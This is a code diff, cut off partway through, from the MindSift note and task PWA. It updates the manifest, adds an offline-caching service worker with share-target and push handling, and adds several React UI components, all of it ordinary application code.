<g transform="translate(256, 256) scale(12.5) translate(-12, -12)" fill="none" stroke="#ffffff" stroke-width="2.1" stroke-linecap="round" stroke-linejoin="round">
|
||||||
<path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
|
<path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
|
||||||
<path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
|
<path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
|
||||||
<path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
|
<path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 851 B After Width: | Height: | Size: 872 B |
@@ -1,13 +1,13 @@
|
|||||||
{
|
{
|
||||||
"id": "/",
|
"id": "/",
|
||||||
"name": "MindSift — Der Kopf frei in drei Sekunden",
|
"name": "MindSift",
|
||||||
"short_name": "MindSift",
|
"short_name": "MindSift",
|
||||||
"description": "Instant Brain-Dump, Tinder-Style Triage, Workspace & Echtzeit-Familienlisten.",
|
"description": "MindSift — Der Kopf frei in drei Sekunden. Instant Brain-Dump, Tinder-Style Triage, Workspace & Echtzeit-Familienlisten.",
|
||||||
"start_url": "/",
|
"start_url": "/",
|
||||||
"scope": "/",
|
"scope": "/",
|
||||||
"display": "standalone",
|
"display": "standalone",
|
||||||
"background_color": "#0b0f19",
|
"background_color": "#000000",
|
||||||
"theme_color": "#0b0f19",
|
"theme_color": "#000000",
|
||||||
"orientation": "portrait-primary",
|
"orientation": "portrait-primary",
|
||||||
"icons": [
|
"icons": [
|
||||||
{
|
{
|
||||||
@@ -17,24 +17,91 @@
|
|||||||
"purpose": "any"
|
"purpose": "any"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"src": "/icon.svg",
|
"src": "/icon-192x192.png",
|
||||||
"sizes": "192x192 512x512",
|
"sizes": "192x192",
|
||||||
|
"type": "image/png",
|
||||||
|
"purpose": "any"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"src": "/icon-512x512.png",
|
||||||
|
"sizes": "512x512",
|
||||||
|
"type": "image/png",
|
||||||
|
"purpose": "any"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"src": "/icon-maskable-192x192.png",
|
||||||
|
"sizes": "192x192",
|
||||||
|
"type": "image/png",
|
||||||
|
"purpose": "maskable"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"src": "/icon-maskable-512x512.png",
|
||||||
|
"sizes": "512x512",
|
||||||
|
"type": "image/png",
|
||||||
|
"purpose": "maskable"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"src": "/icon-maskable.svg",
|
||||||
|
"sizes": "any",
|
||||||
"type": "image/svg+xml",
|
"type": "image/svg+xml",
|
||||||
"purpose": "maskable"
|
"purpose": "maskable"
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
"share_target": {
|
||||||
|
"action": "/share-target",
|
||||||
|
"method": "POST",
|
||||||
|
"enctype": "multipart/form-data",
|
||||||
|
"params": {
|
||||||
|
"title": "title",
|
||||||
|
"text": "text",
|
||||||
|
"url": "url",
|
||||||
|
"files": [
|
||||||
|
{
|
||||||
|
"name": "media",
|
||||||
|
"accept": ["image/*"]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
"shortcuts": [
|
"shortcuts": [
|
||||||
{
|
{
|
||||||
"name": "Gedanke sofort erfassen",
|
"name": "Quick Dump",
|
||||||
"short_name": "Capture",
|
"short_name": "Quick Dump",
|
||||||
"description": "Öffnet MindSift mit Fokus im Eingabefeld",
|
"description": "Gedanken schnell in die Triage werfen",
|
||||||
"url": "/?mode=capture"
|
"url": "/?shortcut=quickdump",
|
||||||
|
"icons": [
|
||||||
|
{
|
||||||
|
"src": "/shortcut-quickdump.png",
|
||||||
|
"sizes": "192x192",
|
||||||
|
"type": "image/png"
|
||||||
|
}
|
||||||
|
]
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "Triage starten",
|
"name": "Neue Aufgabe",
|
||||||
"short_name": "Triage",
|
"short_name": "Aufgabe",
|
||||||
"description": "Gedanken im Kartendeck aussortieren",
|
"description": "Direkt eine neue Aufgabe anlegen",
|
||||||
"url": "/?tab=triage"
|
"url": "/?shortcut=task",
|
||||||
|
"icons": [
|
||||||
|
{
|
||||||
|
"src": "/shortcut-task.png",
|
||||||
|
"sizes": "192x192",
|
||||||
|
"type": "image/png"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Einkaufsliste",
|
||||||
|
"short_name": "Einkaufsliste",
|
||||||
|
"description": "Einen Eintrag zur Einkaufsliste hinzufügen",
|
||||||
|
"url": "/?shortcut=list",
|
||||||
|
"icons": [
|
||||||
|
{
|
||||||
|
"src": "/shortcut-list.png",
|
||||||
|
"sizes": "192x192",
|
||||||
|
"type": "image/png"
|
||||||
|
}
|
||||||
|
]
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
After Width: | Height: | Size: 46 KiB |
|
After Width: | Height: | Size: 98 KiB |
@@ -0,0 +1,8 @@
|
|||||||
|
// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later
|
||||||
|
// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'.
|
||||||
|
window.__deferredPwaPrompt = null;
|
||||||
|
window.addEventListener('beforeinstallprompt', function (e) {
|
||||||
|
e.preventDefault();
|
||||||
|
window.__deferredPwaPrompt = e;
|
||||||
|
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
|
||||||
|
});
|
||||||
|
After Width: | Height: | Size: 5.5 KiB |
|
After Width: | Height: | Size: 6.7 KiB |
|
After Width: | Height: | Size: 4.5 KiB |
@@ -1,18 +1,219 @@
|
|||||||
// Network-first / cache-clearing service worker to ensure fresh builds across all browsers
|
// MindSift service worker: keeps the app shell so the PWA also starts without network.
|
||||||
self.addEventListener('install', () => {
|
// - Page loads (navigation): network first, so a new release is picked up right away; offline the
|
||||||
self.skipWaiting();
|
// last loaded index.html is used.
|
||||||
|
// - Built bundles (/assets/*, file names contain a content hash): from the cache, loaded once.
|
||||||
|
// - Icons: from the cache, refreshed in the background.
|
||||||
|
// - Manifest: network first (the browser checks it for changed app colours and name; a cached copy
|
||||||
|
// would hand it the old values), the cache only offline.
|
||||||
|
// - API requests are never touched; offline data comes from the app's own cache (lib/offline.ts).
|
||||||
|
// Raise VERSION when this file changes in a way that needs fresh caches.
|
||||||
|
const VERSION = 'v6';
|
||||||
|
const SHELL_CACHE = `mindsift-shell-${VERSION}`;
|
||||||
|
const ASSET_CACHE = `mindsift-assets-${VERSION}`;
|
||||||
|
const MAX_ASSETS = 80;
|
||||||
|
const SHARE_DB_NAME = 'mindsift-share-target';
|
||||||
|
const SHARE_STORE_NAME = 'shared_items';
|
||||||
|
const SHELL_URLS = [
|
||||||
|
'/',
|
||||||
|
'/index.html',
|
||||||
|
'/manifest.json',
|
||||||
|
'/favicon.ico',
|
||||||
|
'/icon.svg',
|
||||||
|
'/icon-192x192.png',
|
||||||
|
'/icon-512x512.png',
|
||||||
|
'/apple-touch-icon.png',
|
||||||
|
'/badge-96x96.png',
|
||||||
|
'/boot-theme.js',
|
||||||
|
'/pwa-install.js',
|
||||||
|
];
|
||||||
|
|
||||||
|
self.addEventListener('install', (event) => {
|
||||||
|
event.waitUntil(
|
||||||
|
caches
|
||||||
|
.open(SHELL_CACHE)
|
||||||
|
.then((cache) => Promise.all(SHELL_URLS.map((url) => cache.add(new Request(url, { cache: 'reload' })).catch(() => {}))))
|
||||||
|
.then(() => self.skipWaiting())
|
||||||
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
self.addEventListener('activate', (event) => {
|
self.addEventListener('activate', (event) => {
|
||||||
event.waitUntil(
|
event.waitUntil(
|
||||||
caches
|
caches
|
||||||
.keys()
|
.keys()
|
||||||
.then((keys) => Promise.all(keys.map((k) => caches.delete(k))))
|
.then((keys) => Promise.all(keys.filter((k) => k !== SHELL_CACHE && k !== ASSET_CACHE).map((k) => caches.delete(k))))
|
||||||
.then(() => self.clients.claim())
|
.then(() => self.clients.claim())
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
self.addEventListener('fetch', () => {
|
// Old bundles pile up with every release; keep only the newest entries
|
||||||
// Always use native browser network fetch so API calls and fresh Vite bundles are never intercepted by stale caches
|
async function trimAssets() {
|
||||||
|
const cache = await caches.open(ASSET_CACHE);
|
||||||
|
const keys = await cache.keys();
|
||||||
|
await Promise.all(keys.slice(0, Math.max(0, keys.length - MAX_ASSETS)).map((k) => cache.delete(k)));
|
||||||
|
}
|
||||||
|
|
||||||
|
async function networkFirstPage(request) {
|
||||||
|
const cache = await caches.open(SHELL_CACHE);
|
||||||
|
try {
|
||||||
|
const response = await fetch(request, { cache: 'no-store' });
|
||||||
|
if (response.ok && response.type === 'basic') cache.put('/index.html', response.clone());
|
||||||
|
return response;
|
||||||
|
} catch {
|
||||||
|
return (await cache.match('/index.html')) || (await cache.match('/')) || Response.error();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function cacheFirstAsset(request) {
|
||||||
|
const cache = await caches.open(ASSET_CACHE);
|
||||||
|
const hit = await cache.match(request);
|
||||||
|
if (hit) return hit;
|
||||||
|
const response = await fetch(request);
|
||||||
|
if (response.ok && response.type === 'basic') {
|
||||||
|
await cache.put(request, response.clone());
|
||||||
|
trimAssets();
|
||||||
|
}
|
||||||
|
return response;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function networkFirstShell(request) {
|
||||||
|
const cache = await caches.open(SHELL_CACHE);
|
||||||
|
try {
|
||||||
|
const response = await fetch(request, { cache: 'no-store' });
|
||||||
|
if (response.ok && response.type === 'basic') cache.put(request, response.clone());
|
||||||
|
return response;
|
||||||
|
} catch {
|
||||||
|
return (await cache.match(request)) || Response.error();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function staleWhileRevalidate(request) {
|
||||||
|
const cache = await caches.open(SHELL_CACHE);
|
||||||
|
const hit = await cache.match(request);
|
||||||
|
const refresh = fetch(request)
|
||||||
|
.then((response) => {
|
||||||
|
if (response.ok && response.type === 'basic') cache.put(request, response.clone());
|
||||||
|
return response;
|
||||||
|
})
|
||||||
|
.catch(() => hit || Response.error());
|
||||||
|
return hit || refresh;
|
||||||
|
}
|
||||||
|
|
||||||
|
function openShareDB() {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const req = indexedDB.open(SHARE_DB_NAME, 1);
|
||||||
|
req.onupgradeneeded = () => {
|
||||||
|
const db = req.result;
|
||||||
|
if (!db.objectStoreNames.contains(SHARE_STORE_NAME)) {
|
||||||
|
db.createObjectStore(SHARE_STORE_NAME, { autoIncrement: true, keyPath: 'id' });
|
||||||
|
}
|
||||||
|
};
|
||||||
|
req.onsuccess = () => resolve(req.result);
|
||||||
|
req.onerror = () => reject(req.error);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function savePendingShare(item) {
|
||||||
|
const db = await openShareDB();
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const tx = db.transaction(SHARE_STORE_NAME, 'readwrite');
|
||||||
|
tx.objectStore(SHARE_STORE_NAME).add(item);
|
||||||
|
tx.oncomplete = () => {
|
||||||
|
db.close();
|
||||||
|
resolve();
|
||||||
|
};
|
||||||
|
tx.onerror = () => {
|
||||||
|
db.close();
|
||||||
|
reject(tx.error);
|
||||||
|
};
|
||||||
|
tx.onabort = () => {
|
||||||
|
db.close();
|
||||||
|
reject(tx.error);
|
||||||
|
};
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function handleShareTarget(event) {
|
||||||
|
try {
|
||||||
|
const formData = await event.request.formData();
|
||||||
|
const title = formData.get('title');
|
||||||
|
const text = formData.get('text');
|
||||||
|
const url = formData.get('url');
|
||||||
|
const media = formData.get('media');
|
||||||
|
|
||||||
|
let fileName = '';
|
||||||
|
let hasMedia = false;
|
||||||
|
if (media && typeof media === 'object') {
|
||||||
|
fileName = media.name || 'image';
|
||||||
|
hasMedia = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
await savePendingShare({
|
||||||
|
title: typeof title === 'string' ? title.trim() : '',
|
||||||
|
text: typeof text === 'string' ? text.trim() : '',
|
||||||
|
url: typeof url === 'string' ? url.trim() : '',
|
||||||
|
fileName,
|
||||||
|
hasMedia,
|
||||||
|
createdAt: Date.now(),
|
||||||
|
});
|
||||||
|
} catch (err) {
|
||||||
|
console.error('[SW] Share-Target Fehler:', err);
|
||||||
|
}
|
||||||
|
return Response.redirect('/?shared=pending', 303);
|
||||||
|
}
|
||||||
|
|
||||||
|
self.addEventListener('fetch', (event) => {
|
||||||
|
const { request } = event;
|
||||||
|
if (request.method === 'POST') {
|
||||||
|
const url = new URL(request.url);
|
||||||
|
if (url.origin === self.location.origin && url.pathname === '/share-target') {
|
||||||
|
event.respondWith(handleShareTarget(event));
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
|
}
|
||||||
|
if (request.method !== 'GET') return;
|
||||||
|
const url = new URL(request.url);
|
||||||
|
if (url.origin !== self.location.origin || url.pathname.startsWith('/api/')) return;
|
||||||
|
|
||||||
|
if (request.mode === 'navigate') {
|
||||||
|
event.respondWith(networkFirstPage(request));
|
||||||
|
} else if (url.pathname.startsWith('/assets/')) {
|
||||||
|
event.respondWith(cacheFirstAsset(request));
|
||||||
|
} else if (url.pathname === '/manifest.json') {
|
||||||
|
event.respondWith(networkFirstShell(request));
|
||||||
|
} else if (SHELL_URLS.includes(url.pathname)) {
|
||||||
|
event.respondWith(staleWhileRevalidate(request));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Web push: show the notification; a click focuses an open MindSift window or opens a new one
|
||||||
|
self.addEventListener('push', (event) => {
|
||||||
|
let msg = {};
|
||||||
|
try {
|
||||||
|
msg = event.data ? event.data.json() : {};
|
||||||
|
} catch {
|
||||||
|
msg = { body: event.data ? event.data.text() : '' };
|
||||||
|
}
|
||||||
|
event.waitUntil(
|
||||||
|
self.registration.showNotification(msg.title || 'MindSift', {
|
||||||
|
body: msg.body || '',
|
||||||
|
icon: '/icon-192x192.png',
|
||||||
|
// Status bar icon: Android only uses the alpha channel, the full app icon became a plain square
|
||||||
|
badge: '/badge-96x96.png',
|
||||||
|
tag: msg.tag || undefined,
|
||||||
|
data: { url: msg.url || '/' },
|
||||||
|
})
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
self.addEventListener('notificationclick', (event) => {
|
||||||
|
event.notification.close();
|
||||||
|
const target = new URL((event.notification.data && event.notification.data.url) || '/', self.location.origin);
|
||||||
|
event.waitUntil(
|
||||||
|
self.clients.matchAll({ type: 'window', includeUncontrolled: true }).then((windows) => {
|
||||||
|
for (const w of windows) {
|
||||||
|
if (new URL(w.url).origin === target.origin && 'focus' in w) return w.focus();
|
||||||
|
}
|
||||||
|
return self.clients.openWindow(target.href);
|
||||||
|
})
|
||||||
|
);
|
||||||
});
|
});
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { Brain, ExternalLink } from 'lucide-react';
|
||||||
|
import { APP_VERSION } from '../version';
|
||||||
|
import { ReadingModal } from './ReadingModal';
|
||||||
|
|
||||||
|
// Project facts shown in "Über MindSift"; change here when the repository or license changes
|
||||||
|
export const PROJECT_REPO_URL = 'https://git.dsit.me/sandrodach/MindSift';
|
||||||
|
export const PROJECT_LICENSE = 'The Unlicense – gemeinfrei, ohne Bedingungen';
|
||||||
|
|
||||||
|
export const AboutModal: React.FC<{ onClose: () => void }> = ({ onClose }) => (
|
||||||
|
<ReadingModal title="Über MindSift" onClose={onClose}>
|
||||||
|
<div className="space-y-4 text-xs text-muted leading-relaxed">
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<div className="w-9 h-9 bg-accent text-on-accent rounded-btn flex items-center justify-center shrink-0">
|
||||||
|
<Brain className="w-5 h-5" />
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<p className="text-sm font-bold text-main">MindSift</p>
|
||||||
|
<p>Der Kopf frei in drei Sekunden.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
Die meisten Notiz- und Aufgaben-Apps verlangen Struktur im falschen Moment. MindSift trennt deshalb{' '}
|
||||||
|
<strong className="text-main">Erfassen</strong> und <strong className="text-main">Organisieren</strong>: Gedanken
|
||||||
|
landen sofort im Quick Dump und werden später mit einem Tastendruck zu Aufgabe, Notiz oder Listeneintrag. Alles läuft
|
||||||
|
selbst gehostet in einem Container mit einer SQLite-Datei – deine Daten bleiben bei dir.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<dl className="grid grid-cols-[auto_1fr] gap-x-4 gap-y-1.5">
|
||||||
|
<dt className="font-semibold text-main">Version</dt>
|
||||||
|
<dd className="font-mono">{APP_VERSION}</dd>
|
||||||
|
<dt className="font-semibold text-main">Lizenz</dt>
|
||||||
|
<dd>{PROJECT_LICENSE}</dd>
|
||||||
|
<dt className="font-semibold text-main">Quellcode</dt>
|
||||||
|
<dd>
|
||||||
|
<a href={PROJECT_REPO_URL} target="_blank" rel="noopener noreferrer" className="text-accent hover:underline inline-flex items-center gap-1">
|
||||||
|
{PROJECT_REPO_URL.replace(/^https:\/\//, '')}
|
||||||
|
<ExternalLink className="w-3 h-3" />
|
||||||
|
</a>
|
||||||
|
</dd>
|
||||||
|
</dl>
|
||||||
|
|
||||||
|
<p className="text-[11px] text-faint">
|
||||||
|
Impressum und Datenschutz dieser Instanz verantwortet ihr Betreiber; die Links stehen in den Kontoeinstellungen und auf der Anmeldeseite.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</ReadingModal>
|
||||||
|
);
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { AuthStatus } from '../lib/types';
|
||||||
|
import { APP_VERSION } from '../version';
|
||||||
|
import { LegalLinks } from './LegalLinks';
|
||||||
|
|
||||||
|
interface AppFooterProps {
|
||||||
|
legal?: AuthStatus['legal'];
|
||||||
|
onOpenAbout: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const AppFooter: React.FC<AppFooterProps> = ({ legal, onOpenAbout }) => {
|
||||||
|
// One small, even line: same font, size and weight for every part (mixed mono/bold looked crooked)
|
||||||
|
const item = 'leading-none hover:text-muted transition-colors cursor-pointer';
|
||||||
|
return (
|
||||||
|
<footer className="hidden sm:flex shrink-0 w-full max-w-6xl mx-auto px-4 py-1.5 items-center justify-between text-[10px] leading-none text-faint select-none">
|
||||||
|
<div className="flex items-center gap-1.5">
|
||||||
|
<button type="button" onClick={onOpenAbout} className={item} title="Über MindSift & Versionsdetails">
|
||||||
|
MindSift {APP_VERSION}
|
||||||
|
</button>
|
||||||
|
<span aria-hidden>·</span>
|
||||||
|
<button type="button" onClick={onOpenAbout} className={item}>
|
||||||
|
Über MindSift
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<LegalLinks legal={legal} className="!text-[10px] !text-faint !gap-x-3 leading-none" />
|
||||||
|
</footer>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { UserAvatar } from './UserAvatar';
|
||||||
|
|
||||||
|
export interface AvatarPerson {
|
||||||
|
id: string;
|
||||||
|
name: string;
|
||||||
|
avatarUrl?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface AvatarStackProps {
|
||||||
|
people: AvatarPerson[];
|
||||||
|
max?: number;
|
||||||
|
size?: 'xxs' | 'xs';
|
||||||
|
// Ring in the color of the surface behind the stack, so overlapping circles stay separated
|
||||||
|
ringClass?: string;
|
||||||
|
title?: string;
|
||||||
|
className?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const OVERFLOW_SIZE = {
|
||||||
|
xxs: 'w-4 h-4 text-[7px]',
|
||||||
|
xs: 'w-5 h-5 text-[9px]',
|
||||||
|
};
|
||||||
|
|
||||||
|
// Small overlapping profile pictures: at most `max` circles, the rest as a monochrome "+n" circle.
|
||||||
|
// Used for presence in notes, list/task-list tabs, task assignees and list item authors (Doku/ui-patterns.md).
|
||||||
|
export const AvatarStack: React.FC<AvatarStackProps> = ({
|
||||||
|
people,
|
||||||
|
max = 3,
|
||||||
|
size = 'xs',
|
||||||
|
ringClass = 'ring-[var(--bg-app)]',
|
||||||
|
title,
|
||||||
|
className = '',
|
||||||
|
}) => {
|
||||||
|
if (people.length === 0) return null;
|
||||||
|
const visible = people.slice(0, max);
|
||||||
|
const hidden = people.length - visible.length;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<span className={`inline-flex items-center -space-x-1.5 shrink-0 ${className}`} title={title}>
|
||||||
|
{visible.map((p) => (
|
||||||
|
<UserAvatar
|
||||||
|
key={p.id}
|
||||||
|
name={p.name}
|
||||||
|
avatarUrl={p.avatarUrl || ''}
|
||||||
|
size={size}
|
||||||
|
showTitle={false}
|
||||||
|
className={`ring-2 ${ringClass}`}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
{hidden > 0 && (
|
||||||
|
<span
|
||||||
|
className={`relative inline-flex items-center justify-center rounded-full font-bold leading-none bg-muted text-panel ring-2 ${ringClass} ${OVERFLOW_SIZE[size]}`}
|
||||||
|
>
|
||||||
|
+{hidden}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</span>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,326 @@
|
|||||||
|
import React, { useEffect, useMemo, useRef, useState } from 'react';
|
||||||
|
import {
|
||||||
|
Search,
|
||||||
|
FileText,
|
||||||
|
CheckSquare,
|
||||||
|
ShoppingCart,
|
||||||
|
X,
|
||||||
|
Loader2,
|
||||||
|
CornerDownLeft,
|
||||||
|
} from 'lucide-react';
|
||||||
|
import { SearchHit } from '../lib/types';
|
||||||
|
import { api } from '../lib/api';
|
||||||
|
|
||||||
|
interface CommandPaletteProps {
|
||||||
|
isOpen: boolean;
|
||||||
|
onClose: () => void;
|
||||||
|
onOpenDocument: (docId: string, blockId?: string) => void;
|
||||||
|
onOpenTask: (taskId: string) => void;
|
||||||
|
onOpenList: (listId: string) => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Safely render snippet containing <mark>...</mark> without dangerouslySetInnerHTML
|
||||||
|
const SnippetRenderer: React.FC<{ snippet: string }> = ({ snippet }) => {
|
||||||
|
const parts = useMemo(() => {
|
||||||
|
if (!snippet) return [];
|
||||||
|
return snippet.split(/(<mark>[\s\S]*?<\/mark>)/g);
|
||||||
|
}, [snippet]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<span className="text-muted text-xs line-clamp-2 leading-relaxed">
|
||||||
|
{parts.map((part, i) => {
|
||||||
|
if (part.startsWith('<mark>') && part.endsWith('</mark>')) {
|
||||||
|
const text = part.slice(6, -7);
|
||||||
|
return (
|
||||||
|
<mark
|
||||||
|
key={i}
|
||||||
|
className="bg-accent-dim text-accent font-semibold px-0.5 rounded"
|
||||||
|
>
|
||||||
|
{text}
|
||||||
|
</mark>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return <span key={i}>{part}</span>;
|
||||||
|
})}
|
||||||
|
</span>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
export const CommandPalette: React.FC<CommandPaletteProps> = ({
|
||||||
|
isOpen,
|
||||||
|
onClose,
|
||||||
|
onOpenDocument,
|
||||||
|
onOpenTask,
|
||||||
|
onOpenList,
|
||||||
|
}) => {
|
||||||
|
const [query, setQuery] = useState('');
|
||||||
|
const [hits, setHits] = useState<SearchHit[]>([]);
|
||||||
|
const [selectedIndex, setSelectedIndex] = useState(0);
|
||||||
|
const [loading, setLoading] = useState(false);
|
||||||
|
|
||||||
|
const inputRef = useRef<HTMLInputElement>(null);
|
||||||
|
const debounceTimerRef = useRef<number | null>(null);
|
||||||
|
|
||||||
|
// Group hits by category: Notizen, Aufgaben, Listen
|
||||||
|
const groupedHits = useMemo(() => {
|
||||||
|
const docs: SearchHit[] = [];
|
||||||
|
const tasks: SearchHit[] = [];
|
||||||
|
const lists: SearchHit[] = [];
|
||||||
|
|
||||||
|
for (const h of hits) {
|
||||||
|
if (h.type === 'document') {
|
||||||
|
docs.push(h);
|
||||||
|
} else if (h.type === 'thought') {
|
||||||
|
tasks.push(h);
|
||||||
|
} else if (h.type === 'list_item') {
|
||||||
|
lists.push(h);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
{ key: 'documents', label: 'Notizen', icon: FileText, items: docs },
|
||||||
|
{ key: 'tasks', label: 'Aufgaben', icon: CheckSquare, items: tasks },
|
||||||
|
{ key: 'lists', label: 'Listen', icon: ShoppingCart, items: lists },
|
||||||
|
].filter((g) => g.items.length > 0);
|
||||||
|
}, [hits]);
|
||||||
|
|
||||||
|
// Flattened array for simple up/down index navigation
|
||||||
|
const flatHits = useMemo(() => {
|
||||||
|
return groupedHits.flatMap((g) => g.items);
|
||||||
|
}, [groupedHits]);
|
||||||
|
|
||||||
|
// Focus input and reset on open
|
||||||
|
useEffect(() => {
|
||||||
|
if (isOpen) {
|
||||||
|
setQuery('');
|
||||||
|
setHits([]);
|
||||||
|
setSelectedIndex(0);
|
||||||
|
setTimeout(() => inputRef.current?.focus(), 50);
|
||||||
|
}
|
||||||
|
}, [isOpen]);
|
||||||
|
|
||||||
|
// 150ms debounce search
|
||||||
|
useEffect(() => {
|
||||||
|
if (debounceTimerRef.current !== null) {
|
||||||
|
window.clearTimeout(debounceTimerRef.current);
|
||||||
|
}
|
||||||
|
|
||||||
|
const trimmed = query.trim();
|
||||||
|
if (!trimmed) {
|
||||||
|
setHits([]);
|
||||||
|
setLoading(false);
|
||||||
|
setSelectedIndex(0);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
setLoading(true);
|
||||||
|
debounceTimerRef.current = window.setTimeout(async () => {
|
||||||
|
try {
|
||||||
|
const res = await api.searchAll(trimmed);
|
||||||
|
setHits(res.hits || []);
|
||||||
|
setSelectedIndex(0);
|
||||||
|
} catch {
|
||||||
|
setHits([]);
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
}, 150);
|
||||||
|
|
||||||
|
return () => {
|
||||||
|
if (debounceTimerRef.current !== null) {
|
||||||
|
window.clearTimeout(debounceTimerRef.current);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}, [query]);
|
||||||
|
|
||||||
|
// Keyboard navigation: ↑, ↓, Enter, Escape
|
||||||
|
useEffect(() => {
|
||||||
|
if (!isOpen) return;
|
||||||
|
|
||||||
|
const handleKeyDown = (e: KeyboardEvent) => {
|
||||||
|
if (e.key === 'Escape') {
|
||||||
|
e.preventDefault();
|
||||||
|
onClose();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (flatHits.length === 0) return;
|
||||||
|
|
||||||
|
if (e.key === 'ArrowDown') {
|
||||||
|
e.preventDefault();
|
||||||
|
setSelectedIndex((prev) => (prev + 1) % flatHits.length);
|
||||||
|
} else if (e.key === 'ArrowUp') {
|
||||||
|
e.preventDefault();
|
||||||
|
setSelectedIndex((prev) => (prev - 1 + flatHits.length) % flatHits.length);
|
||||||
|
} else if (e.key === 'Enter') {
|
||||||
|
e.preventDefault();
|
||||||
|
const selected = flatHits[selectedIndex];
|
||||||
|
if (selected) {
|
||||||
|
executeSelection(selected);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
window.addEventListener('keydown', handleKeyDown);
|
||||||
|
return () => window.removeEventListener('keydown', handleKeyDown);
|
||||||
|
}, [isOpen, flatHits, selectedIndex]);
|
||||||
|
|
||||||
|
const executeSelection = (hit: SearchHit) => {
|
||||||
|
onClose();
|
||||||
|
if (hit.type === 'document') {
|
||||||
|
onOpenDocument(hit.docId || hit.id, hit.blockId);
|
||||||
|
} else if (hit.type === 'thought') {
|
||||||
|
onOpenTask(hit.id);
|
||||||
|
} else if (hit.type === 'list_item') {
|
||||||
|
if (hit.listId) {
|
||||||
|
onOpenList(hit.listId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (!isOpen) return null;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
className="fixed inset-0 z-50 flex items-start justify-center p-0 sm:p-4 sm:pt-16 bg-black/60 backdrop-blur-xs animate-in fade-in duration-150"
|
||||||
|
onClick={onClose}
|
||||||
|
>
|
||||||
|
{/* Search Modal Container */}
|
||||||
|
<div
|
||||||
|
className="
|
||||||
|
w-full h-full bg-panel flex flex-col overflow-hidden shadow-2xl
|
||||||
|
sm:h-auto sm:max-h-[80vh] sm:max-w-2xl sm:rounded-card sm:border sm:border-border
|
||||||
|
"
|
||||||
|
onClick={(e) => e.stopPropagation()}
|
||||||
|
>
|
||||||
|
{/* Top Input Bar */}
|
||||||
|
<div className="flex items-center gap-2.5 px-4 py-3 border-b border-border bg-canvas/40 shrink-0">
|
||||||
|
<Search className="w-5 h-5 text-accent shrink-0" />
|
||||||
|
